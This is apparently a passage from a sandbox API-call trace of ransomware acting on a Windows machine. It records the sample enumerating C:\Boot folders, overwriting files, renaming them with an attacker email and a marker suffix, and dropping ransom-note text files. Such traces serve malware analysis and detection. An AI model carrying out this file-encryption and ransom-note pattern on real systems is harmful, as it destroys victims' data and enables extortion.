[0031.745] StrStrIW (lpFirst="BCD.LOG2", lpSrch="SDfghjkl") returned 0x0
[0031.745] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
[0031.745] GetProcessHeap () returned 0x2e0000
[0031.745] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x325760
[0031.745] ReadFile (in: hFile=0x104, lpBuffer=0x325760, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf630, lpOverlapped=0x0 | out: lpBuffer=0x325760*, lpNumberOfBytesRead=0xecf630*=0x0, lpOverlapped=0x0) returned 1
[0031.745] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0031.745] WriteFile (in: hFile=0x104, lpBuffer=0x325760*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0xecf630, lpOverlapped=0x0 | out: lpBuffer=0x325760*, lpNumberOfBytesWritten=0xecf630*=0x0, lpOverlapped=0x0) returned 1
[0031.745] GetProcessHeap () returned 0x2e0000
[0031.745] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0031.745] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0031.745] WriteFile (in: hFile=0x104, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf630, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf630*=0x100, lpOverlapped=0x0) returned 1
[0031.746] CloseHandle (hObject=0x104) returned 1
[0031.746] GetProcessHeap () returned 0x2e0000
[0031.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0031.746] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD.LOG2_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 62
[0031.746] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), lpNewFileName="\\\\?\\C:\\Boot\\BCD.LOG2_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\boot\\bcd.log2_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0031.747] GetProcessHeap () returned 0x2e0000
[0031.747] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0031.747] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1
[0031.747] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BOOTSTAT.DAT") returned 24
[0031.747] StrStrIW (lpFirst="BOOTSTAT.DAT", lpSrch="SDfghjkl") returned 0x0
[0031.747] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
[0031.755] GetProcessHeap () returned 0x2e0000
[0031.755] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x325760
[0031.755] ReadFile (in: hFile=0x104, lpBuffer=0x325760, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf630, lpOverlapped=0x0 | out: lpBuffer=0x325760*, lpNumberOfBytesRead=0xecf630*=0x2800, lpOverlapped=0x0) returned 1
[0031.758] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0031.758] WriteFile (in: hFile=0x104, lpBuffer=0x325760*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf630, lpOverlapped=0x0 | out: lpBuffer=0x325760*, lpNumberOfBytesWritten=0xecf630*=0x2800, lpOverlapped=0x0) returned 1
[0031.758] GetProcessHeap () returned 0x2e0000
[0031.758] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0031.758] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0031.758] WriteFile (in: hFile=0x104, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf630, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf630*=0x100, lpOverlapped=0x0) returned 1
[0031.758] CloseHandle (hObject=0x104) returned 1
[0031.759] GetProcessHeap () returned 0x2e0000
[0031.759] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0031.760] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\Boot\\BOOTSTAT.DAT_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 66
[0031.760] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), lpNewFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\boot\\bootstat.dat_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0031.760] GetProcessHeap () returned 0x2e0000
[0031.760] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0031.760] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
[0031.760] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ") returned 17
[0031.760] GetProcessHeap () returned 0x2e0000
[0031.760] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0031.760] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\*") returned 19
[0031.760] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0031.761] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\.") returned 19
[0031.761] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0031.761] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\..") returned 20
[0031.761] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0031.761] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 33
[0031.761] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0031.761] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0031.761] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
[0031.761] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\Instructions with your files.txt") returned 50
[0031.761] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\Instructions with your files.txt" (normalized: "c:\\boot\\cs-cz\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0031.761] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
[0031.762] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
[0031.762] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0031.762] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0031.762] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0031.763] CloseHandle (hObject=0x108) returned 1
[0031.765] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0031.765] GetProcessHeap () returned 0x2e0000
[0031.765] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0031.765] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
[0031.765] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK") returned 17
[0031.765] GetProcessHeap () returned 0x2e0000
[0031.765] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0031.765] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\*") returned 19
[0031.765] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0031.766] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\.") returned 19
[0031.766] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0031.766] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\..") returned 20
[0031.766] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0031.766] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 33
[0031.766] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0031.766] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0031.767] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
[0031.767] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\Instructions with your files.txt") returned 50
[0031.767] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\Instructions with your files.txt" (normalized: "c:\\boot\\da-dk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0031.767] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
[0031.768] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
[0031.768] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0031.768] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0031.768] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0031.768] CloseHandle (hObject=0x108) returned 1
[0031.769] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0031.769] GetProcessHeap () returned 0x2e0000
[0031.769] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0031.769] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
[0031.769] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE") returned 17
[0031.769] GetProcessHeap () returned 0x2e0000
[0031.769] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0031.769] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\*") returned 19
[0031.769] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0031.769] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\.") returned 19
[0031.769] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0031.769] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\..") returned 20
[0031.769] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0031.769] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 33
[0031.769] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0031.769] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0031.769] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
[0031.769] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\Instructions with your files.txt") returned 50
[0031.770] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\Instructions with your files.txt" (normalized: "c:\\boot\\de-de\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0031.770] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
[0031.771] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
[0031.771] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0031.771] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0031.771] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0031.771] CloseHandle (hObject=0x108) returned 1
[0031.771] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0031.771] GetProcessHeap () returned 0x2e0000
[0031.771] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0031.771] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
[0031.771] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR") returned 17
[0031.771] GetProcessHeap () returned 0x2e0000
[0031.771] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0031.771] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\*") returned 19
[0031.771] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
